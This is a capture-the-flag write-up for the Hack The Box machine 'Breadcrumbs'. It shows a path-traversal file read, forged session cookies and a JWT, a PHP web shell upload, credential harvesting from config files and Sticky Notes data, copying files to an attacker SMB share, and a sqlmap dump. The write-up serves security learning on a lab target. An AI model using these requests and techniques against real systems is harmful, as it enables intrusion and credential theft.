Breadcrumbs was a hard box with crumbs to connect. This box had an LFI, source code review, and upload bypass for user shell. The upload bypass was easy as pie, but the road had miles to go. The Root privilege escalation was tricky to achieve.
As always Nmap was done and responded with lots of open ports
Nmap scan report for 10.10.10.228
Host is up (0.19s latency).
Not shown: 987 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
80/tcp open http Apache httpd 2.4.46
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.46
445/tcp open microsoft-ds?
1175/tcp filtered dossier
1862/tcp filtered mysql-cm-agent
3306/tcp open mysql?
3986/tcp filtered mapper-ws_ethd
6001/tcp filtered X11:1
7921/tcp filtered unknown
10012/tcp filtered unknown
A lot of ports open with lots of possibilities. The Apache version had no vulnerabilities and hard boxes are not built with an easy exploit. Even though it had a port 443 there was nothing important to fetch from the SSL certificate. Accessing the IP returned a normal page with a link to check the books. The site was aesthetically the same on both port 80 and 443 and resembled a book lending library.
The functionality was simple as the above image illustrates, with a proper title or author the book can be searched. The information regarding the books was not available in the box. To check how these books are fetched the request was proxied to burp. The test data was passed as a normal POST request.
POST /includes/bookController.php HTTP/1.1
Host: 10.10.10.228
User-Agent: Mozilla/5.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 31
Origin: http://10.10.10.228
Connection: close
Referer: http://10.10.10.228/php/books.php
Cookie: PHPSESSID=8horsqkkstur64gdg9o8n6vbio
title=test&author=test&method=0
The above POST request returned a null response because there was no book with the title test
and author test
. I tried passing the title and author separately, which also returned a null response, method
parameter was new since it was not included in the webpage, so the value was changed to 1 from 0. And that went well, it returned an error holding the internal path.
.
..
<br />
<b>Warning</b>: Undefined array key "book" in
<b>C:\Users\www-data\Desktop\xampp\htdocs\includes\bookController.php</b>
on line <b>28</b><br />
<br />
<b>Warning</b>: file_get_contents(../books/):
Failed to open stream: No such file or directory in
<b>C:\Users\www-data\Desktop\xampp\htdocs\includes\bookController.php</b>
on line <b>28</b><br />
false
The response had an internal path as well as a directory /books
. The internal path had nothing to do with the crumbs so far, but it was left in the arsenal. /books
was a new path, and there was a directory listing at http://10.10.10.228/books . Directory listing is a web server function that displays the directory contents when there is no index file in a specific website directory.
Index of /books
Name | Last modified | Size | Description |
---|---|---|---|
Parent Directory | - | ||
book3.html | 2020-11-28 00:55 | 379 | |
book7.html | 2020-11-28 00:55 | 400 | |
book8.html | 2020-11-28 00:55 | 431 | |
book9.html | 2020-11-28 00:55 | 375 | |
book10.html | 2020-11-28 00:55 | 446 | |
book11.html | 2020-11-28 00:55 | 435 | |
book12.html | 2020-11-28 00:55 | 468 | |
book14.html | 2020-11-28 00:55 | 465 |
The response for the book3.html
had the Author,Title and the content.
Title: Adventures of Tom Sawyer
Author: Mark Twain
Max borrow duration: 10 days
About:
The Adventures of Tom Sawyer is an 1876 novel by Mark Twain about a young boy growing up along the Mississippi River. It is set in the 1840s in the town of St. Petersburg, which is based on Hannibal, Missouri where Twain lived as a boy.
Using the above information the request was replayed to check the book and it responded with booking functionality. It was followed by the below response including the details of the book.
Analyzed the booking request using burp, it fetched book3.html
and returned the contents.
POST /includes/bookController.php HTTP/1.1
Host: 10.10.10.228
User-Agent: Mozilla/5.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 24
Origin: http://10.10.10.228
Connection: close
Referer: http://10.10.10.228/php/books.php
Cookie: PHPSESSID=8horsqkkstur64gdg9o8n6vbio
book=book3.html&method=1
The next step was to check whether other internal files were accessible using this request. Whenever an internal file is fetched it is better to check for an LFI. Since the internal path was known, the request was used to grab the SSH key. Unfortunately, that didn’t go well. To verify the LFI bookController.php
was taken with the below request data.
book=../includes/bookController.php&method=1
The request traversed one directory back and used includes
directory to fetch the required PHP file. The original code was not clean and had \r\n
, it was removed to read without much effort. It never followed any coding rules at least for me.
<?php
if($_SERVER['REQUEST_METHOD'] == \"POST\"){
$out = \"\";
require '..\/db\/db.php';
$title = \"\";
$author = \"\";
if($_POST['method'] == 0){
if($_POST['title'] != \"\"){
$title = \"%\".$_POST['title'].\"%\";
}
if($_POST['author'] != \"\"){
$author = \"%\".$_POST['author'].\"%\";
}
$query = \"SELECT * FROM books WHERE title LIKE ? OR author LIKE ?\";
$stmt = $con->prepare($query);
$stmt->bind_param('ss', $title, $author);
$stmt->execute();
$res = $stmt->get_result();
$out = mysqli_fetch_all($res,MYSQLI_ASSOC);
}
elseif($_POST['method'] == 1){
$out = file_get_contents('..\/books\/'.$_POST['book']);
}
else{
$out = false;
}
echo json_encode($out);
}
Since the query was parameterized there was no possibility for SQLi. The method parameter in the request executed two different functions, when the method equals zero the book was queried and if the method equals one the content was returned. So that was the reason for returning the error for method=1
.The parameters were not matching method one.
The request for db.php
responded with the below PHP code without a clean structure. A username and password were enough to move forward, but these credentials didn’t work with MySQL, SSH & SMB.
POST data
book=../db/db.php&method=1
/db/db.php
<?php\r\n\r\n$host=\"localhost\";\r\n$port=3306;\r\n$user=\"bread\";
\r\n$password=\"jUli901\";\r\n$dbname=\"bread\";\r\n\r\n$con = new mysqli
($host, $user, $password, $dbname, $port) or die
('Could not connect to the database server' . mysqli_connect_error());
\r\n?>\r\n"
After trying all possible files, a directory bruting was initiated to check other directories open for access. The result spotted a login page.
301 http://10.10.10.228:80/js -> REDIRECTS TO: http://10.10.10.228/js/
301 http://10.10.10.228:80/php -> REDIRECTS TO: http://10.10.10.228/php/
301 http://10.10.10.228:80/DB -> REDIRECTS TO: http://10.10.10.228/DB/
301 http://10.10.10.228:80/books -> REDIRECTS TO: http://10.10.10.228/books/
301 http://10.10.10.228:80/css -> REDIRECTS TO: http://10.10.10.228/css/
200 http://10.10.10.228:80/db/
301 http://10.10.10.228:80/db -> REDIRECTS TO: http://10.10.10.228/db/
200 http://10.10.10.228:80/includes/
301 http://10.10.10.228:80/includes -> REDIRECTS TO: http://10.10.10.228/includes/
200 http://10.10.10.228:80/index.php
200 http://10.10.10.228:80/index.php/login/
200 http://10.10.10.228:80/js/
200 http://10.10.10.228:80/php/
301 http://10.10.10.228:80/portal -> REDIRECTS TO: http://10.10.10.228/portal/
302 http://10.10.10.228:80/portal/ -> REDIRECTS TO: login.php
The page had login functionality and signup functionality. The credentials from db.php
didn’t grant access. A new account was registered and logged in.
Login
The helper section mentioned on the login page had few usernames.
Current Helpers
Name | Status |
---|---|
Alex | Offline |
Emma | Offline |
Jack | Snoozing |
John | Active |
Lucas | Offline |
Olivia | Active |
Paul | Active |
William | Snoozing |
The dashboard had four features Check tasks, Order pizza, User management, and File management.
Dashboard
Order pizza was disabled for economical reasons and file management was inactive. The other functionalities resulted in a list of respective data
Issues
ID Type Description Nuke it 1 Service Add library checkout Nuke 2 Service Store book information in database Nuke 3 Maintenance Fix PHPSESSID infinite session duration Nuke 4 Other Finish installing password managers on all computers Nuke 5 URGENT Fix logout button. Before the weekend if possible. Nuke
User Management
Username Age Position alex 21 Admin paul 24 Admin jack 22 Admin olivia 24 Data Analyst john 39 Ad Manager emma 20 Developer william 20 Developer lucas 25 Developer sirine 27 Reception juliette 20 Server Admin support - Service joeldejo - Awaiting approval
The nuke functionality was not available for the newly registered account since the account was awaiting approval. The logout was not working and the duration of the session was infinite, both were mentioned in the issues section. The dashboard was returning the above responses using following URLs.
- http://10.10.10.228/portal/php/issues.php
- http://10.10.10.228/portal/php/users.php
- http://10.10.10.228/portal/login.php
LFI was used to fetch the contents of login.php
using the traversal method.
Request
POST /includes/bookController.php HTTP/1.1
Host: 10.10.10.228
User-Agent: Mozilla/5.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 33
Origin: http://10.10.10.228
Connection: close
Referer: http://10.10.10.228/php/books.php
Cookie: PHPSESSID=joeldejo055036cd6fa4e25b651aeb3f96f9408c;
<snip>
book=../portal/login.php&method=1
login.php
"<?php\r\nrequire_once 'authController.php';
\r\n?>\r\n<html lang=\"en\">\r\n
<head>\r\n <title>Binary<\/title>\r\n
<meta charset=\"utf-8\">\r\n
<meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\r\n
<meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\r\n
<snip>
Login required PHP file authController.php
, and this file was fetched by changing the POST data to book=../portal/authController.php&method=
.
authController.php
"<?php \r\nrequire 'db\/db.php';\r\nrequire \"cookie.php\";
\r\nrequire \"vendor\/autoload.php\";\r\nuse \\Firebase\\JWT\\
JWT;\r\n\r\n$errors = array();\r\n$username = \"\";
\r\n$userdata = array();\r\n$valid = false;\r\n
.
..
<snip>
$stmt->close();\r\n }\r\n\r\n
if($valid){\r\n
session_id(makesession($username));\r\n
session_start();\r\n\r\n
$secret_key = '6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e';
.
..
<snip>
As seen above authController.php
required cookie.php
to perform the authentication. The file had the secret key for signing the JWT token.cookie.php
was fetched using the POST data book=../portal/cookie.php&method=1
.
cookie.php
"<?php\r\n\/**\r\n * @param string $username Username requesting session cookie
\r\n * \r\n * @return string $session_cookie Returns the generated cookie\r\n *
\r\n * @devteam\r\n * Please DO NOT use default PHPSESSID; our security team
says they are predictable.\r\n * CHANGE SECOND PART OF MD5 KEY EVERY WEEK\r\n
* *\/\r\nfunction makesession($username){\r\n $max = strlen($username) - 1;
\r\n $seed = rand(0, $max);\r\n $key = \"s4lTy_stR1nG_\".$username[$seed].
\"(!528.\/9890\";\r\n $session_cookie = $username.md5($key);\r\n\r\n
return $session_cookie;\r\n}"
All the files were coded without following proper coding rules and had lots of gibberish content lying here and there. Cookies were created using an MD5 hash and key. The process was known from here. We have to create the cookies for the user that had higher privileges. Three admins were listed in the user management section alex, paul, and jack. paul
was active as per the helpers section(http://10.10.10.228/portal/php/admins.php). I fixed the PHP code to work without errors.
<?php
/**
* @param string $username Username requesting session cookie
*
* @return string $session_cookie Returns the generated cookie
*
* @devteam
* Please DO NOT use default PHPSESSID; our security team says they are predictable.
* CHANGE SECOND PART OF MD5 KEY EVERY WEEK
**/
function makesession($username){
$max = strlen($username) - 1;
$seed = rand(0, $max);
$key = "s4lTy_stR1nG_".$username[$seed]."(!528./9890";
$session_cookie = $username.md5($key);
return $session_cookie;
}
?>
The PHP script was executed using a while loop to create all possible cookies and it returned four possible cookies.
paul47200b180ccd6835d25d034eeb6e6390
paul61ff9d4aaefe6bdf45681678ba89ff9d
paul8c8808867b53c49777fe5559164708c3
paula2a6a014d3bee04d7df8d5837d62e8c5
The first cookie granted access to the admin dashboard. Paul had the privilege to upload files using the file management feature. The upload page had a warning message Please upload only .zip files!
. The file upload request was proxied to Burp and uploaded an HTML file. The upload returned the following error
_**{{ define “main” }}
Insufficient privileges. Contact admin or developer to upload code. Note: If you recently registered, please wait for one of our admins to approve it.
{{ end }}**_This was due to insufficient JWT token. The JWT token was created using https://jwt.io with the secret key 6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e
. The payload data was changed to paul and the final cookie was created.
PHPSESSID=paul47200b180ccd6835d25d034eeb6e6390;token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.7pc5S1P76YsrWhi_gu23bzYLYWxqORkr0WtEz_IUtCU
The upload had two fields, one for the title and the other for the file. So I tried uploading a test HTML file again, the file was uploaded successfully.
POST /portal/includes/fileController.php HTTP/1.1
Host: 10.10.10.228
User-Agent: Mozilla/5.0
Accept: */*
Accept-Language: en-US,en;q=0.5
.
..
<snip>
-----------------------------29203303085830286773823057354
Content-Disposition: form-data; name="file"; filename="helloworld.html"
Content-Type: text/html
<html><h1>TEST</h1></html>
-----------------------------29203303085830286773823057354
Content-Disposition: form-data; name="task"
helloworld.zip
-----------------------------29203303085830286773823057354--
The file was converted to ZIP, as seen in the above request. The ZIP extension was replaced with PHP, but the reverse shell by pentestmonkey was rejected with the following error message.
{{ define “main” }}
Warning: move_uploaded_file(C:\Users\www-data\Desktop\xampp\tmp\phpC8A7.tmp): Failed to open stream: Invalid argument in C:\Users\www-data\Desktop\xampp\htdocs\portal\includes\fileController.php on line 25
Warning: move_uploaded_file(): Unable to move “C:\Users\www-data\Desktop\xampp\tmp\phpC8A7.tmp” to “../uploads/helloworld.zip” in C:\Users\www-data\Desktop\xampp\htdocs\portal\includes\fileController.php on line 25
Missing file or title :(
{{ end }}
The same method was used to upload a sample PHP file and it passed through to the uploads section. I couldn’t find the reason for the error, but with a mini shell, the initial shell was achieved. Ivan has a dedicated repository for PHP shells in GitHub, PHP reverse shells. Uploaded files were accessible from http://10.10.10.228/uploads/minishell.php .
SOCKET: Shell has connected! PID: 5340
Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\>whoami
breadcrumbs\www-data
As always the shell had limited privileges. The shell was then converted to Powershell, PowerShell is a task automation and configuration management framework from Microsoft, consisting of a command-line shell and the associated scripting language. To escalate privilege, other users were listed.
PS C:\> net user
User accounts for \\BREADCRUMBS
-------------------------------------------------------------------------------
Administrator DefaultAccount development
Guest juliette sshd
WDAGUtilityAccount www-data
The command completed successfully.
The credentials from db.php
didn’t work for juliette to grant SSH access. The internal path was already known from LFI and previous errors. The SSH credential for juliette was located at the portal path. As per the information available from the user management dashboard juliette was a server admin.
PS C:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData> cat juliette.json
{
"pizza" : "margherita",
"size" : "large",
"drink" : "water",
"card" : "VISA",
"PIN" : "9890",
"alternate" : {
"username" : "juliette",
"password" : "jUli901./())!",
}
}
The above credentials granted SSH access as juliette and the box was half done. The desktop of juliette kept an HTML file.
.
..
<snip>
<td>Configure firewall for port 22 and 445</td>
<td>Not started</td>
<td>Unauthorized access might be possible</td>
</tr>
<tr>
<td>Migrate passwords from the Microsoft Store Sticky Notes
application to our new password manager</td>
<snip>
..
.
From the forum post Sticky-Note, it was clear how sticky notes stores the data in a SQLite file at the location C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState
.
PS C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8weky
b3d8bbwe\LocalState> ls
Directory: C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStic
kyNotes_8wekyb3d8bbwe\LocalState
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/15/2021 4:10 PM 20480 15cbbc93e90a4d56bf8d9a29305b8
981.storage.session
-a---- 11/29/2020 3:10 AM 4096 plum.sqlite
-a---- 1/15/2021 4:10 PM 32768 plum.sqlite-shm
-a---- 1/15/2021 4:10 PM 329632 plum.sqlite-wal
To copy the files impacket’s smbserver.py
was used. Impacket is a collection of Python classes for working with network protocols, https://github.com/SecureAuthCorp/impacket
Attacking Machine
$ smbserver.py notes . -smb2support
Breadcumbs
juliette@BREADCRUMBS C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState> copy * \\ip\\notes\\
1 file(s) copied.
The credentials for development
account was found using strings command on plum.sqlite
$ strings plum.sqlite
.
..
<snip>
\id=48c70e58-fcf9-475a-aea4-24ce19a9f9ec juliette: jUli901./())!
\id=fc0d8d70-055d-4870-a5de-d76943a
\id=48c70e58-fcf9-475a-aea4-24ce19a9f9ec juliette: jUli901./())!
\id=fc0d8d70-055d-4870-a5de-d76943a68ea2 development: fN3)sN5Ee@g
<snip>
..
.
Using development
password a binary file Krypter_Linux
was identified at C:\Development
. The file was copied to the attacking machine and analyzed using strings. The file was a Linux executable and that too in Windows machine!
$ file Krypter_Linux
Krypter_Linux: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ab1fa8d6929805501e1793c8b4ddec5c127c6a12,
for GNU/Linux 3.2.0, not stripped
$ strings Krypter_Linux
.
..
<snip>
Krypter V1.2
New project by Juliette.
New features added weekly!
What to expect next update:
- Windows version with GUI support
- Get password from cloud and AUTOMATICALLY decrypt!
Requesting decryption key from cloud...
Account: Administrator
http://passmanager.htb:1234/index.php
method=select&username=administrator&table=passwords
Server response:
Incorrect master key
No key supplied.
USAGE:
Krypter <key>
..
.
<snip>
To test more on passmanager.htb
the port was forwarded to the attacking machine using ssh -L 1234:127.0.0.1:1234 [email protected]
. The URL http://127.0.0.1.htb:1234/index.php?method=select&username=administrator&table=passwords got the AES keys.
selectarray(1) {
[0]=>
array(1) {
["aes_key"]=>
string(16) "k19D193j.<19391("
}
}
From the strings output on the Linux executable, it was clear that these were the keys for decrypting the password and the URL had two parameters select
and table
SQL queries. The URL was passed to sqlmap to grab the encrypted password.
$ sqlmap.py -u 'http://127.0.0.1:1234/index.php?method=select&username=administrator&table=passwords' --dump
+----+---------------+------------------+----------------------------------------------+
| id | account | aes_key | password |
+----+---------------+------------------+----------------------------------------------+
| 1 | Administrator | k19D193j.<19391( | H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw= |
+----+---------------+------------------+----------------------------------------------+
The password was encoded in Base64 with an AES key. With the assistance from https://gchq.github.io/CyberChef/.io decrypting process was smooth. Cyberchef has more than three hundred operations. Two recipes were used for the process, one for decrypting Base64 and the other for decrypting AES. IV was an important factor here, first I tried 1
but the decrypted value was not the password. An IV or initialization vector is used to ensure that the same value is encrypted multiple times, even with the same secret key, it will not always result in the same encrypted value. This is an added security layer. p@ssw0rd!@#$9890./
was the administrator’s password and breadcrumbs was rooted.